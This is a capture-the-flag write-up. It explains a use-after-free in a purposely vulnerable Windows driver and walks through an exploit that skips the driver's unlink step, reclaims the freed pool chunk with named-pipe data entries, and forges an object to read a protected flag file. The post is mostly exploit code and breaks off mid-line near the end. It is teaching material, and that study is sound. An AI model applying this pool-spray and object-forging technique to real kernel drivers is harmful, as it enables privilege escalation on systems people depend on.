# Unraveling the "Not-So-Normal Driver" Guest blog post by [@malware_owl](https://x.com/malware_owl), who solved the Windows Kernel challenge portion of PhrackCTF2025. This is a high quality, thorough, & beginner friendly walkthrough exploiting a use after free (UAF) vulnerability in a Windows driver. This challenge was inspired by a real vulnerability I found in the Windows kernel. The exploit techniques used in the solution are ones that have been used in real exploits discovered in the wild. I highly recommend trying out this challenge (and referencing this write up if you get stuck) if you're interested in learning about low-level kernel exploitation. ## Introduction After my teammate Elijah flagged the Linux Exploitation Challenge, a Windows Kernel Exploitation Challenge was released, which includes a Windows driver named "AVeryNormalDriver.sys." This challenge features a Use-After-Free vulnerability. In hindsight, while the vulnerability is not particularly difficult to identify, the exploitation techniques are comparable to other Windows vulnerabilities exploited in the wild. Therefore, this challenge serves as an excellent opportunity to learn more about Use-After-Free vulnerabilities and how they can be exploited. ![[ChallengeDescription.png]] ## What is UAF? UAF stands for Use After Free, which is a type of bug that occurs when a program attempts to access memory that has already been freed. This issue arises due to the presence of dangling pointers, allowing program to continue referencing memory locations after they have been freed. ### Example 1 Consider the following example where we allocate a `_MYSTRUCT` structure to hold a pointer to the `printf` function. This pointer is stored within `_MYSTRUCT` and is used to print a message. Afterward, the structure is freed to simulate a cleanup operation. However, the freed structure is then accessed again after it has been deallocated, demonstrating the use after free vulnerability: ```c #include <stdio.h> #include <stdlib.h> #include <Windows.h> typedef struct _MYSTRUCT { void (*PrintFn)(const char*, ...); } MYSTRUCT; int main() { MYSTRUCT* mem = malloc(sizeof(MYSTRUCT)); mem->PrintFn = printf; // Printing via printf function pointer mem->PrintFn("Hello from function pointer!\n"); // [FREE] memset(mem, 0, sizeof(MYSTRUCT)); free(mem); // [USE] Attempting to call a function at address containing junk // The mem->PrintFn here is a DANGLING POINTER as it was not cleared mem->PrintFn("Hello from function pointer!\n"); return 0; } ``` Running this code results in a crash. The issue lies in the last instruction, which is a `call` instruction attempting to invoke the `printf` function using the function pointer stored in the `_MYSTRUCT`. The problem is that this structure was freed in line 19. As a result, the contents of that memory chunk have been overwritten with garbage data. When we attempt to call the function, the register `RAX`, which is supposed to contain `MYSTRUCT->printf` (now a dangling pointer), holds invalid data (0xfeeefeeefeeefeee). This leads to a memory access violation because the memory address is no longer valid. ![[uaf_debugger_example.png]] The following shows the big picture behind the UAF example provided above: ![[drawing_uaf_example.png]] ### Example 2 - The Big Idea Now let us take a closer look in another illustrative example which models a little more closely to the actual challenge. Say that we are able to create two objects. Upon creation, these objects are linked in a doubly linked list. Additionally, these objects contain uninitialized fields. In the actual challenge, there would be some variables that are crucial for the solve. ![[normal_list.png]] The following illustrates what happens when we delete an entry from the driver's internal linked list. The image shows that the entry to be deleted is unlinked from the linked list before it is freed. ![[normal_delete.png]] However, a problem arises: what if there is a way to bypass the unlinking logic? Even after doing this, the memory chunk can still be freed. Continuing from the previous deletion, let’s examine a scenario where the code path bypasses the unlinking logic. The bold arrows indicate that the links in the linked list continue to point to the now-freed memory chunk! This allows the program to access that dangling pointer. ![[unlink_bypass_example.png]] If the program attempts to use this freed chunk, such as by accessing its fields, this leads to a Use-After-Free vulnerability. The inevitable question then arises. How do I exploit this? The following were some questions in my head that need to be answered: 1. Can I reclaim that freed memory? 2. Can I write data to that reclaimed chunk? 3. Can I fake the object without crashing the program? If we can answer the above three questions, then we can control the content and even set any important unintiaizlied variables! ![[reclaimchunk_example.png]] Now that we have a good base understanding of the vulnerability, it is time to look into the actual challenge! --- ## The Core Vulnerability ### High Level Overview The core of this challenge resides in a User-Accessible Function (UAF) within the driver's `IRP_MJ_CLEANUP` routine. This routine is triggered when a handle to the driver is closed. Inside the driver, there is an internal list that maintains an object which I refer to as `_PROCESS_ENTRY`. The bug occurs because a `_PROCESS_ENTRY` entry can be *FREED* without being unlinked from the internal list. Furthermore, these entries, whether unlinked or not, would be freed. With the entry not unlinked yet freed, dangling pointer exists now within the internal list. Just like the second example mentioned previously, there are fields, that are NEVER initialized, which are crucial for the following steps: 1. Flag reading 2. Getting the flag to usermode buffer ### `_PROCESS_ENTRY` Unlinking Bypass The following diagram shows the cleanup routine of the driver which happens when the handle to the device is closed via `CloseHandle`. The blocks highlighted in red in the CFG below shows the unlinking between `LIST_ENTRY`. We see that `ExFreePoolWithTag` would be called whether or not the unlinking has occurred. Finally, the bold red control branch shows that it is possible to skip the unlinking. The following condition allows attacker to bypass the unlinking logic: We need to create a `_PROCESS_ENTRY` whose - first byte of the `data` is 0x70 or 'p' - `DataLength` is greater than 0 - `EnableFlag` is set ![[CleanupRoutineGoneWrong.png]] ### Looking at `_PROCESS_ENTRY` Let us take a look at the `_PROCESS_ENTRY`. These are entries that would be linked to a list head internally within the driver. The `LIST_ENTRY` links the `_PROCESS_ENTRY` with each other. PID refers to the PID of the process which did the linking. The `EnableFlag` allows this entry to be selected in one of the functions. The `SET_TO_READ_FLAG` is a byte that needs to be set to allow the reading of secret flag in restricted directory. `pMDL` is not needed for the exploit but it should contain pointer to valid Memory Descriptor List if we want to unlock and delete it. The `MappedSystemVa` is the usermode buffer that we want to eventually write our flag to. The `DataLength` refers to the size of data that we choose to write to. ```c struct _PROCESS_ENTRY { // Metadata of _PROCESS_ENTRY LIST_ENTRY Next; // 0x00 uint64_t PID; // 0x10 uint8_t EnableFlag; // 0x18 uint8_t SET_TO_READ_FLAG; // 0x19 (NEVER INITIALIZED) uint8_t Padding1[6]; // 0x1A uint64_t pMDL; // 0x20 (NEVER INITIALIZED) uint64_t MappedSystemVa; // 0x28 (NEVER INITIALIZED) uint32_t DataLength; // 0x30 // Data of the Entry char data[1]; // 0x34 }PROCESS_ENTRY, *PPROCESS_ENTRY; ``` ## Important IOCTLs of the Driver To interact with drivers, user-mode applications utilize IOCTLs (I/O Control Codes). This mechanism allows us to pass information from usermode to kernel mode for processing. We can think of IOCTLs as special commands that request the driver to perform specific tasks. In this driver, the control codes are custom and can be obtained through reverse engineering. To interact with the IOCTL handler, we can send both the user input buffer and the output buffer, along with the control code, using the `DeviceIoControl` API. Once the driver has registered an IOCTL handler function, it will attempt to perform tasks based on the provided control code. ![[IOCTL_Handler.png]] The driver exposed several IOCTLs, but this post will just focus on the following three: 1. 0x80002000 - Creates Process Entry 2. 0x80002014 - Reading Flag from restricted file path to kernel staging buffer. 3. 0x80002010 - Copies content from kernel staging buffer into usermode address ### 0x80002000 - Creates Process Entry When creating a `_PROCESS_ENTRY` structure, the process begins by properly checking the size boundaries between the `DataLength` field and the actual size of the input buffer. It then allocates a Non-Paged Pool NX based on the size that we control. The internal list of `_PROCESS_ENTRY`s is traversed to check for any entries that contain the PID of the current process. If an entry is found, that structure is returned, and its `data` field is updated before freeing the previously allocated Non-Paged Pool NX chunk. If no `_PROCESS_ENTRY` with the current PID is found, the newly allocated chunk is used to create a new `_PROCESS_ENTRY`, which is then linked to the internal list. The following shows how the Driver's internal list links the newly created `_PROCESS_ENTRY`. ![[driver_internal_list.png]] ```c __int64 __fastcall Create_Process_Entry_1400015E8(DEVICE_OBJECT *devobj, PIRP pIrp) { ... inputBuffer = pIrp->AssociatedIrp.MasterIrp; DeviceExtension = devobj->DeviceExtension; // Internal List ... if ( inputBuffer_length < 0x10 ) { v6 = 0xC0000023; goto LABEL_16; } user_data_length = inputBuffer->inputbuffer_datalength; // Rabbit hole if ( user_data_length <= inputBuffer_length - 0x10 && user_data_length + 0x38 >= user_data_length ) { // POOL_FLAG_NON_PAGED newProcessEntry = ExAllocatePool2(64, user_data_length + 0x38, 'VndP'); if ( newProcessEntry ) { CurrentProcessId = PsGetCurrentProcessId(); newProcessEntry->DataLength = user_data_length; newProcessEntry->PID = CurrentProcessId; memmove(newProcessEntry->data, &inputBuffer->user_data_buffer, user_data_length); context = FindProcessEntry_sub_140001124(devobj); if ( context ) // Found in internal list { // Update the data from returned node DataLength = context->DataLength; if ( user_data_length <= DataLength ) DataLength = user_data_length; memmove(context->data, newProcessEntry->data, DataLength); ExFreePoolWithTag(newProcessEntry, 0); } else { // Allows itself to be found from internal list newProcessEntry->EnableFlag = 1; Blink = DeviceExtension->Blink; if ( Blink->Flink != DeviceExtension ) __fastfail(3u); // Link this new node to the driver internal list newProcessEntry->Next.Flink = DeviceExtension; newProcessEntry->Next.Blink = Blink; Blink->Flink = &newProcessEntry->Next; DeviceExtension->Blink = &newProcessEntry->Next; } } ... return v6; } ``` ### 0x80002014 - Reading Flag from Restricted File Path to Kernel Staging Buffer. This has to be the juiciest IOCTL in this driver. First, it attempts to find a `_PROCESS_ENTRY` in the internal list that matches the current process ID (PID). If a match is found, it then checks the `SET_TO_READ_FLAG` byte. If this byte is set, the driver reads the contents of the flag from `C:\Secrets\flag.txt` into a buffer designated for flags. This buffer is located in the kernel address space and is referred to as `g_StagingBuffer_1kb`. The size of the flag read must be 0x24 bytes; otherwise, the content will not be written to `g_StagingBuffer_1kb`. ![[ioctl_read_flag.png]] ```c __int64 __fastcall = read_flag_sub_14000142c(DEVICE_OBJECT *devobj) { ... FoundProcessEntry = FindProcessEntry_sub_140001124(devobj); ... if ( FoundProcessEntry ) { if ( FoundProcessEntry->SET_TO_READ_FLAG ) // We must set this lol { RtlInitUnicodeString(&DestinationString, L"\\??\\C:\\Secrets\\flag.txt"); ... ObjectAttributes.ObjectName = &DestinationString; ... v4 = ZwCreateFile(&FileHandle, GENERIC_READ, &ObjectAttributes, &IoStatusBlock, 0, 0x80u, 1u, 1u, 0x60u, 0, 0); if ( v4 >= 0 ) { v4 = ZwReadFile(FileHandle, 0, 0, 0, &IoStatusBlock, &flag_content, 0x24u, 0, 0); if ( v4 >= 0 ) { // This is the length of the CTF flag if ( IoStatusBlock.Information == 0x24 ) { g_StagingBuffer_1kb_ = g_StagingBuffer_1kb; v4 = 0; *g_StagingBuffer_1kb = flag_content; g_StagingBuffer_1kb_[1] = v12; *(g_StagingBuffer_1kb_ + 8) = v13; *(g_StagingBuffer_1kb_ + 36) = v14; } else { ... return v4; } ``` ### 0x80002010 - Copies Content from Kernel Staging Buffer into Usermode Address After the read is done, the flag should now reside within the buffer stored in the kernel global variable. This IOCTL allows us to copy the content from that kernel buffer into usermode `MappedSystemVa` field. ![[copy_to_user.png]] ```c __int64 __fastcall memmove_gKernel_to_usersub_140001814(DEVICE_OBJECT *a1) { ... foundProcessEntry = FindProcessEntry_sub_140001124(a1); v4 = 0; if ( foundProcessEntry ) { mappedSystemVa = foundProcessEntry->MappedSystemVa; // This is never set if ( mappedSystemVa ) memmove(mappedSystemVa, g_StagingBuffer_1kb, 0x1000); else v4 = 0xC0000184; } else ... return v4; } ``` ## Exploitation Walkthrough After knowing what these IOCTL do and how flag can be transferred to usermode buffer, here are the steps for the exploitation. Do not worry too much about step 4 for now. Just make sure you understand the following steps: 1. Obtain a handle to the driver 2. Create a new `_PROCESS_ENTRY` - First byte of data should be 0x70 - Links this into the driver's internal list 3. Close the handle obtained from step 1. 4. RECLAIM freed chunk and FAKE `_PROCESS_ENTRY` 5. Obtain the handle to the driver again 6. Send IOCTL to read flag into global kernel staging buffer 7. Send IOCTL to copy data into supplied usermode buffer in `MappedSystemVa` 8. Print out the flag from the usermode buffer ### Obtain Handle to the Driver We can obtain a handle by getting the symbolic link to the driver : ```c HANDLE hCTF = NULL; #define SYMBOLIC_TARGET L"\\\\.\\VeryNormalDriver" ... hCTF = CreateFileW(SYMBOLIC_TARGET, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hCTF == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device handle\n"); return -1; } printf("[+] Device handle opened successfully\n"); ``` ### Create a new `_PROCESS_ENTRY` We want to be able to bypass the unlinking logic and still free our `_PROCESS_ENTRY`. So we have to make sure the the first byte of `data` field is 0x70 and the `DataLength` is at least 1. ![[first_create_for_unlink.png]] The following shows the snippet using `DeviceIoControl` to send control code of `0x80002000` over to create a new `_PROCESS_ENTRY`. It also demonstrates how we pass the content of `data` via the user input buffer. ```c #define IOCTL_REGISTER_NEW 0x80002000 VOID RegisterNew() { ULONG PID = GetCurrentProcessId(); printf("[+] Current Process ID: %lu\n", PID); struct { uint64_t unknown1; uint32_t size_to_copy; // N: bytes copied into node->data char inputDataForCopy[VULN_DATA_SIZE]; } inputBuffer; memset(&inputBuffer, 0, sizeof(inputBuffer)); inputBuffer.unknown1 = 0x4141414141414141ULL; inputBuffer.size_to_copy = VULN_DATA_SIZE; memset(inputBuffer.inputDataForCopy, 'A', sizeof(inputBuffer.inputDataForCopy)); inputBuffer.inputDataForCopy[0] = 'p'; // 'p' == 0x70 (triggers free-without-unlink on cleanup) DWORD bytesReturned = 0; if (!DeviceIoControl(hCTF, IOCTL_REGISTER_NEW, &inputBuffer, sizeof(inputBuffer), NULL, 0, &bytesReturned, NULL)) { printf("[-] Failed to send IOCTL_REGISTER_NEW (%lu)\n", GetLastError()); return; } printf("[+] IOCTL_REGISTER_NEW sent successfully (N=0x%x)\n", VULN_DATA_SIZE); } ``` ### Close the Handle Obtained from Step 1 Closing this handle would trigger the cleanup routine which will NOT unlink the `_PROCESS_ENTRY` from the driver's internal list and free it. This leaves the dangling pointer! ![[unlinking_bypass_success.png]] ```c CloseHandle(hCTF); // triggers IRP_MJ_CLEANUP ``` ### RECLAIM freed chunk and FAKE `_PROCESS_ENTRY` This section is probably going to take up quite a bit of reading time. It aims to show you evidence, showing that the technique in this section can answer the three questions from earlier: 1. Can I reclaim that freed memory? 2. Can I write data to that reclaimed chunk? 3. Can I fake the object without crashing the program? #### Can I Reclaim that Freed Memory? When memory is freed, it's possible for another driver or program to occupy that chunk of memory, especially if the size of the new allocation is very similar to the size of the freed chunk. Personally, I do not have very strong knowledge of internals of the various heap allocator frontend and backend. However, there are many articles available that explore this topic in depth that I will link later on! What I do know is that if we "spray" the heap by allocating a large number of objects of the same type (Non-Paged Pool, NX), with the same controllable size,the likelihood of successfully reclaiming that freed chunk increases significantly. By spraying, it looks a little something like the following snippet. By creating many of the appropriate objects, the chunk that was freed during the cleanup routine may be reallocated by the created kernel object: ```c for(int i = 0 ; i < 100000; i++){ Create_Kernel_Object_that_allocates_controlled_size_NPP_Nx(); } ``` #### Can I Write Data to that Reclaimed Chunk? Yes, it is possible to do so by spraying eligible objects. The one that we will be using would be the spraying of NamedPipes. We see it being mentioned in [Crowdstrike's](https://www.crowdstrike.com/en-us/blog/sheep-year-kernel-heap-fengshui-spraying-big-kids-pool/) post. To see how named pipes can be created, we can read [ired.team's](https://www.ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation) overview and code section. The high level overview is that by spraying NamedPipes, we can create many Data Queue Entries. Furthermore, the type of Data Queue Entries (Buffered vs Unbuffered) is important which will be discussed in the next section. Bascially, using Unbuffered DQEs allow us to have full control of the reclaimed memory chunk unlike Buffered DQEs. ##### Data Queue Entry (DQE) When creating a named pipe and writing to it, creation of Data Queue Entry (DQE) would occur. DQEs are added into the Data Queue and how it is added depends on the Type that is being passed internally via `NpAddDataQueueEntry`. There are two types for consideration (i.e. Buffered vs Unbuffered). The following shows the structure for `DATA_QUEUE_ENTRY` that can be added to the Data Queue. ```c struct DATA_QUEUE_ENTRY { LIST_ENTRY NextEntry; _IRP* Irp; _SECURITY_CLIENT_CONTEXT* SecurityContext; uint32_t EntryType; uint32_t QuotaInEntry; uint32_t DataSize; uint32_t x; char Data[1]; } ``` ##### Buffered vs UnBuffered Data Queue Entry In Buffered DQE, data is stored within the `_DATA_QUEUE_ENTRY`'s `Data` buffer while in Unbuffered DQE, the data is stored within the IRP's SystemBuffer. We can see this more clearly in `NpReadDataQueue` function where EntryType is checked. If the `EntryType` of the DQE is 1 (Unbuffered), the data is going to be read from IRP and when the `EntryType` of DQE is not 1 (0), it will read from the `_DATA_QUEUE_ENTRY`'s `Data` field. ```c __int64 __fastcall NpReadDataQueue( __int64 a1, struct DATA_QUEUE_ENTRY *dqe, char a3, char a4, __int64 a5, size_t Size, int a7, __int64 a8, struct _LIST_ENTRY *a9) { ... LABEL_7: while ( Flink != dqe ) { if ( !v9 || Flink->EntryType <= 1 ) { if ( Flink->EntryType == 1 ) data = (char *)Flink->Irp->AssociatedIrp.MasterIrp; else data = Flink->Data; ... ... ``` Here is an illustration of the objects we intend to spray. I have annotated the actual data being sprayed during the reclamation of the freed chunk, as this is necessary for size calculations. If we are spraying Buffered DQE, we need to consider the metadata portion of the DQE. Example of spraying Buffered DQE is when we have a POOL Header Overwrite and we want to make use of Ghost Chunk Alignment Confusion Technique to obtain arbitrary read/write primitive. However, if our goal is to spray while maintaining full control over the data, we can set the size without needing to consider the metadata of the DQE. ![[buffered_vs_unbuffered.png]] To clarify the differences between Buffered DQE and Unbuffered DQE when reclaiming memory, let’s break down what it means to have partial control with Buffered DQE and full control with Unbuffered DQE. Recall that we need to control things like `PID`, `MappedSystemVa` and `SET_FLAG_TO_READ`. If we are spraying buffered DQE, we cannot truly control the PID. This is because the PID may be overwritten with IRP ponter value. This would prevents us from utilizing the freed memory chunk during the `PROCESS_ENTRY` finding function. Additionally, we cannot store the flag in `MappedSystemVa`, as it gets corrupted due to interference from `DataSize` and `x` within the `DATA_QUEUE_ENTRY` structure. On the other hand, if we use Unbuffered DQE, we gain complete control over the data written to the contents of `IRP->SystemBuffer`, allowing us to specify the size of the data as well. By writing data into the Unbuffered DQE, we can craft a fake `_PROCESS_ENTRY` object that we can then reuse afterward. ![[reclaimed_memory_content_control.png]] To triple confirm that, we can read the `NpAddDataQueueEntry` function and confirm that the behaviour between buffered and unbuffered DQE. We can also reference `NpAddDataQueueEntry` from [ReactOS](https://doxygen.reactos.org/d7/dce/datasup_8c.html#a541bb32c48e749e2e7f769888aee0191). For interested party, here is the decompilation with renamed variables and structures to show processing of adding Unbuffered Data Queue Entry. Furthermore, the comments are created assuming we perform `NpInternalWrite` which is exposed to user via `FsDeviceIoControl`. ```c __int64 __fastcall NpAddDataQueueEntry( int ccb, _NP_DATA_QUEUE *data_queue, struct _NP_DATA_QUEUE *data_queue_1, ULONG Type, // (1)unbuffered, (0)buffered DWORD a5, size_t Size, PIRP pIrp, void *a8, ULONG a9) { ... securityClientContext_1 = 0; v25 = 0; if ( Type != 1 || a5 == 2 ) { pIrp1 = pIrp; // buffered } else { // Unbuffered pIrp1 = pIrp; if ( pIrp ) Thread = pIrp->Tail.Overlay.Thread; else Thread = KeGetCurrentThread(); if ( ccb || LOBYTE(data_queue->BytesInQueue) != 1 || *(_QWORD *)&data_queue[6].EntriesInQueue == -1 ) { ClientSecurity = 0; } else { ... } if ( !a5 ) // WONT COME HERE SINCE a5 is set to 1 when going through { // Process as Buffered ... /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // WONT ENTER HERE BECAUSE TYPE IS UNBUFFERED AND a5 IS 1 // Type is BUFFERED so the // Userbuffer gets copied into Data Queue Entry's Data field memmove(dqe->Data, UserBuffer, (unsigned int)Size); if ( v26 < (unsigned int)Size - a9 && pIrp1 ) } else { v17 = 259; } goto LABEL_13; } ... } if ( _interlockedbittestandreset((volatile signed __int32 *)&data_queue_1[1], 0) ) dqe = (struct DATA_QUEUE_ENTRY *)data_queue_1[1].Queue.Flink; else dqe = 0; if ( !dqe ) { dqe = (struct DATA_QUEUE_ENTRY *)ExAllocatePoolWithQuotaTag((POOL_TYPE)776, 0x30u, 'rFpN'); if ( !dqe ) { v24 = v25; goto LABEL_53; } } // Setting up the DQE dqe->EntryType = a5; // 1 dqe->QuotaInEntry = 0; dqe->Irp = pIrp1; dqe->DataSize = Size; dqe->SecurityContext = v25; v17 = 259; quota_in_entry = 0; LABEL_13: // LINKIKNG DATA QUEUE ENTRY TO THE DATA QUEUE data_queue_1->ByteOffset += quota_in_entry; data_queue_1->QueueState = Type; data_queue_1->BytesInQueue += dqe->DataSize; ++data_queue_1->EntriesInQueue; if ( a9 ) data_queue_1->Quota = a9; Blink = data_queue_1->Queue.Blink; if ( (struct _NP_DATA_QUEUE *)Blink->Flink != data_queue_1 ) __fastfail(3u); dqe->NextEntry.Flink = &data_queue_1->Queue; dqe->NextEntry.Blink = Blink; Blink->Flink = &dqe->NextEntry; data_queue_1->Queue.Blink = &dqe->NextEntry; if ( v17 == 259 ) { pIrp1->Tail.Overlay.CurrentStackLocation->Control |= 1u; pIrp1->Tail.Overlay.DriverContext[2] = data_queue_1; pIrp1->Tail.Overlay.DriverContext[3] = dqe; _... return v17; } ``` To add unbuffered DQE, we can do so by calling upon FsDeviceIoControl with Control code of `0x119FF8` which is found from `NpCommonFileSystemControl` within `NPFS.sys`. ```c __int64 __fastcall NpCommonFileSystemControl(__int64 a1, _QWORD *a2, __int64 a3) { ... switch ( v5 ) { case 0x119FF8u: ClientProcess = NpInternalWrite((struct _KTHREAD *)a1, (__int64)a2, (__int64)v39); goto LABEL_86; ... } ... } __int64 __fastcall NpInternalWrite(struct _KTHREAD *a1, PIRP pIRP, __int64 a3) { ... { v11 = NpAddDataQueueEntry( namedPipe, (_NP_DATA_QUEUE *)(int)CCB, (struct _NP_DATA_QUEUE *)(int)dataQueue, 1, 1, Size, pIRP, 0, (int)Options - (int)ClientThread); ... if ( (*(_BYTE *)((unsigned int)v10 + CCB + 9) & 2) == 0 ) { // ADDING UNBUFFERED ENTRY v11 = NpAddDataQueueEntry(v10, CCB, v18, 1, 1, (__int64)pIRP, 0, (int)Options - (int)ClientThread); goto LABEL_27; } pIRP->IoStatus.Information = (unsigned int)(Options - (_DWORD)ClientThread); } ... } ``` For even more information, read [vp777's Github Repo](https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation) on this topic as well! #### Can I Fake The Object Without Crashing the Program? Assuming that we can reclaim the freed memory chunk by using unbuffered DQEs, is it possible to use the object without causing a crash? The answer is yes, and this is primarily due to how the `_PROCESS_ENTRY` search function operates. First, there is no check to verify if the flink address is a valid memory address. This oversight means that by setting the value to 1, we can proceed without issues. Second, since we have complete control, we can easily place the value of `GetCurrentProcessId()` into the `PID` field of the faked `_PROCESS_ENTRY` during the reclamation process. Additionally, we must ensure that the `EnableFlag` is set so that this freed chunk can be returned for use. It is also important to remember that we eventually want to write the flag from the kernel buffer into the user-mode buffer. To accomplish this, we need to allocate 4096 bytes and store the address in the `MappedSystemVa` field of the faked `_PROCESS_ENTRY` The following illustrates the faking of `_PROCESS_ENTRY` during the spray. ![[for_freed_chunk_selection.png]] This is the pseudocode for the `_PROCESS_ENTRY` finding function comments on the important parts: ```c struct _PROCESS_ENTRY *__fastcall FindProcessEntry_sub_140001124(DEVICE_OBJECT *devobj) { ... CurrentProcessId = PsGetCurrentProcessId(); DeviceExtension = devobj->DeviceExtension; // Driver internal list CurrentProcessId1 = CurrentProcessId; result = 0; Flink = DeviceExtension->Next.Flink; if ( DeviceExtension->Next.Flink ) // We need a NON-ZERO Flink Address (did not check if valid Virtual Mem) { while ( Flink != DeviceExtension ) // If there is an entry { if ( Flink->PID == CurrentProcessId1 ) // Check if its PID (We need to control this) { result = Flink; break; // break here avoids the dereferencing of the Corrupted Flink Address } Flink = Flink->Next.Flink; if ( !Flink ) return result; } } if ( result ) return (-(result->EnableFlag != 0) & result); // EnableFlag NEEDS to be non-zero to return this freed chunk return result; } ``` #### Spamming Unbuffered DQE To spray unbuffered DQE, we have to first create pipe and store the read and write handle into the `PIPE_HANDLES`. The exploit code that is referenced is really close to [vp777's](https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/) exploitation guide! ```c typedef struct { HANDLE r; HANDLE w; } PIPE_HANDLES; void CreatePipe(PIPE_HANDLES* ph, uint32_t quota = (uint32_t)-1) { ph->w = CreateNamedPipeW( L"\\\\.\\pipe\\exploit_cng", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, // duplex + overlapped (important) PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0, 0, 0, NULL); if (ph->w == INVALID_HANDLE_VALUE) { printf("[-] CreateNamedPipe failed (%lu)\n", GetLastError()); exit(1); } ph->r = CreateFileW( L"\\\\.\\pipe\\exploit_cng", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); if (ph->r == INVALID_HANDLE_VALUE) { printf("[-] CreateFile(pipe client) failed (%lu)\n", GetLastError()); exit(1); } } ``` Next, to allocate unbuffered DQE, we can make use of `NtFsControlFile` to write data into the pipe. Depending on the size, we can control the pool memory size. During debugging, we have to make sure that this size matches the size of our `_PROCESS_ENTRY` whose size can also be controlled by the user. The following shows the function to allocate a single pool memory of controlled size during the spray. ```c void WriteDataEntry(PIPE_HANDLES ph, uint32_t len) { IO_STATUS_BLOCK ios = {}; NTSTATUS st = NtFsControlFile( ph.w, // server end (opened OVERLAPPED) NULL, NULL, NULL, &ios, FSCTL_PIPE_INTERNAL_WRITE, g_cover_pipe_data, len, NULL, 0); if (st != 0 && st != 0x00000103) { // STATUS_SUCCESS or STATUS_PENDING printf("[-] NtFsControlFile failed (nt=%08X) len=0x%x\n", (unsigned)st, len); } } ``` For this exploit, the `g_cover_pipe_data` is the global buffer that we want to forge the `_PROCESS_ENTRY` in. For this exploit, I have sprayed 200000 times in the hope that our freed buffer does not first get consumed by anything else in the kernel. If that happens, this exploit would fail. However, the success rate of this spray is pretty high. ```c int SpamDQE() { CreatePipe(&spare_pipe); memset(g_cover_pipe_data, 0x1, VULN_CHUNK_SIZE); struct _PROCESS_ENTRY* entry = (struct _PROCESS_ENTRY*)g_cover_pipe_data; entry->PID = GetCurrentProcessId(); // set PID to current process ID entry->EnableFlag = 1; // set EnableFlag to 1 entry->SET_TO_READ_FLAG = 1; // set SET_TO_READ_FLAG to 1 flag_buffer = malloc(4096); ... entry->MappedSystemVa = (uint64_t)flag_buffer; // set MappedSystemVa to the allocated buffer address // Spray and pray for (int i = 0; i < 200000; i++) { WriteDataEntry(spare_pipe, VULN_CHUNK_SIZE); // unbuffered, no DQE header } return 0; } ``` ##### Witnessing the Success Freed Chunk Reclaim Setting a breakpoint right after `ExAllocatePool2` within the IOCTL for creating a new `_PROCESS_ENTRY`, we can use the `!pool` command to confirm the pool tag of `PdnV`. We see that it is marked as allocated as well. ![[pool_allocation.png]] We can then set another breakpoint after the driver's cleanup routine and the heap spray and check the content of the exact memory location. We know that it worked when that chunk is now allocated with pool tag of `IoSB`! ![[spraywork.png]] Now, let us see if the content within the now reclaimed memory chunk contains our fake `_PROCESS_ENTRY`. Indeed, we can see that the `_PROCESS_ENTRY` has been faked successfully. Starting from the top-most rectangle, we have our `LIST_ENTRY`, `PID`, `EnableFlag`, `SET_TO_READ_FLAG`, `MappedSystemVa` and lastly the data size. ![[faked_process_entry.png]] Now that we can fake our `_PROCESS_ENTRY` in our previously freed chunk, we can carry on to read the flag and complete the exploit flow! ### Obtain the Handle to the Driver Again Similar to the first step of the exploit, we once again re-obtain the handle to the driver. Here, we do not need to worry about the internal list of the driver because the driver's handle was closed and the driver did not unload. This means that the `_PROCESS_ENTRY`'s dangling pointer will still exist. ```c hCTF = CreateFileW(SYMBOLIC_TARGET, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hCTF == INVALID_HANDLE_VALUE) { printf("[-] Failed to reopen device handle\n"); return -1; } printf("[+] Device handle reopened\n"); ``` ### Send IOCTL to Read Flag into Global Kernel Staging Buffer At this point, the freed chunk can be returned for use. Now that the `SET_FLAG_TO_READ` is set, we will now be able to read the flag into the kernel buffer! ```c #define IOCTL_READ_FLAG 0x80002014 BOOL ReadFlagToGlobalStagingBuffer() { DWORD bytesReturned = 0; BOOL result = DeviceIoControl(hCTF, IOCTL_READ_FLAG, NULL, 0, 0, 0, &bytesReturned, NULL); if (!result) { printf("[-] Failed to send IOCTL_READ_FLAG (%lu)\n", GetLastError()); return FALSE; } printf("[+] IOCTL_READ_FLAG sent successfully\n"); return TRUE; } ``` ### Send IOCTL to Copy Data into Supplied Usermode Buffer At this point of time, the `MappedSystemVa` is set to our usermode buffer which we can later read from. The following snippet shows how we can copy the flag from the kernel buffer into our supplied usermode buffer. ```c #define IOCTL_COPY_GLOBA_TO_USER 0x80002010 VOID CopyGlobalToUser() { DWORD bytesReturned = 0; if (!DeviceIoControl(hCTF, IOCTL_COPY_GLOBA_TO_USER, NULL, 0, 0, 0, &bytesReturned, NULL)) { printf("[-] Failed to send IOCTL_COPY_GLOBA_TO_USER (%lu)\n", GetLastError()); return; } printf("[+] IOCTL_COPY_GLOBA_TO_USER sent successfully\n"); } ``` ### Print Out the Flag from the Usermode Buffer To test this locally, a fake flag should be written into `c:\secrets\flag.txt` with a legnth of 0x24. Next, I have the following main function which implemented all the steps covered in the exploitation path segment earlier. ```c // 1) open device and register with first byte 'p' hCTF = CreateFileW(SYMBOLIC_TARGET, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hCTF == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device handle\n"); return -1; } printf("[+] Device handle opened successfully\n"); RegisterNew(); // first byte 'p' -> frees without unlink on cleanup CloseHandle(hCTF); // triggers IRP_MJ_CLEANUP printf("[+] Device handle closed (dangling entry should exist now)\n"); // 2) reclaim freed chunk with UNBUFFERED pipe writes (exact size match) printf("[*] Spamming DQE with unbuffered writes...\n"); SpamDQE(); // 3) reopen device and try the read path hCTF = CreateFileW(SYMBOLIC_TARGET, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hCTF == INVALID_HANDLE_VALUE) { printf("[-] Failed to reopen device handle\n"); return -1; } printf("[+] Device handle reopened\n"); // Read the flag with our forged process entry ReadFlagToGlobalStagingBuffer(); // Copy the flag from global staging buffer to supplied usermode address CopyGlobalToUser(); printf("[+] Flag copied 